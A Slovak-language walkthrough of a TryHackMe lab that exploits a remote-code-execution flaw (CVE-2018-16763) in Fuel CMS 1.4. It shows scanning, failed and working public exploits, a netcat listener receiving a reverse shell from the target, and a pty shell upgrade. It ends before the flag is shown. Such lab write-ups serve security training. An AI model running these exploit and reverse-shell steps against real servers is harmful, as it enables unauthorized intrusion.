TryHackMe - Zraniteťnostný Míľnik
Len opravte svoje exploity
Úvod
Trochu frustrujúca miestnosť, pretože sme museli prejsť viacerými nefunkčnými exploitmi, ale na konci sa nám podarilo nájsť dobrý.
Otázky
Aký je názov spustenej aplikácie na zraniteľnej mašine?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -T4 -n -sC -sV -Pn -p- 10.10.159.5
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9a:5b:14:49:04:b1:d5:44:82:6b:85:b0:f1:b8:1f:69 (RSA)
| 256 6f:4f:08:60:6d:46:a7:b8:e3:0e:1b:00:12:4b:e3:09 (ECDSA)
|_ 256 49:3c:2d:13:e7:8b:77:70:47:e4:f4:e1:df:96:5d:7a (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Otvorené porty:
22/tcp
80/tcp
Odpoveď:
1
Fuel CMS
Aká je verzia tejto aplikácie?
Odpoveď:
1
1.4
Aké je CVE číslo zraniteľnosti, pomocou ktorej vieme na diaľku spustiť kód v tejto aplikácii?
Rýchlym vyhľadávaním Google môžeme nájsť nasledovné https://pentest-tools.com/vulnerabilities-exploits/fuel-cms-141-remote-code-execution_2612
Odpoveď:
1
CVE-2018-16763
Čo je vlajka na tejto zraniteľnej mašine? Nachádza sa v /home/ubuntu.
Poďme sa do toho pustiť.
Stiahnime si exploit z https://www.exploit-db.com/exploits/50477
a použime ho
1
2
3
4
5
6
7
8
9
10
11
12
python3 50477.py
usage: python3 50477.py -u <url>
python3 50477.py -u http://10.10.159.5
[+]Connecting...
Enter Command $ls
system
Enter Command $id
system
Enter Command $whoami
system
Bez ohľadu na to, čo napíšeme, odpoveď je rovnaká
Dobre, stiahnime si https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE
, zdá sa, že používa rovnaký CVE, ale iný prístup
1
git clone https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE
Zdá sa, že ani toto nefunguje…
Vlajka
Ok konečne exploit ktorý funguje https://gist.github.com/anir0y/8529960c18e212948b0e40ed1fb18d6d#file-fuel-cms-py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ python3 exploit.py 10.10.159.5/
______ _ _____ ___ ___ _____
| ___| | / __ \| \/ |/ ___|
| |_ _ _ ___| | / \/| . . |\ `--.
| _| | | |/ _ \ | | | |\/| | `--. \
| | | |_| | __/ | \__/\| | | |/\__/ /
\_| \__,_|\___|_|\____/\_| |_/\____/
Tested on 1.4
Created by Ac1d
Menu
exit - Exit app
shell_me - Get a reverse shell (netcat)
help - Show this help
fuelCMS$
Na našej mašine spustíme náš netcat listener
1
nc -lvnp 1337
A necháme exploit napojiť sa na nás
1
2
fuelCMS$ shell_me
Enter your attacking machine IP:PORT $ 10.14.99.72:1337
A získavame shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.14.99.72] from (UNKNOWN) [10.10.159.5] 44904
/bin/sh: 0: can't access tty; job control turned off
$ ls
README.md
assets
composer.json
contributing.md
fuel
index.php
robots.txt
$ whoami
www-data
Stačí si zmeniť shell na interaktívny a získať našu vlajku
1
$ python3 -c 'import pty; pty.spawn("/bin/bash")'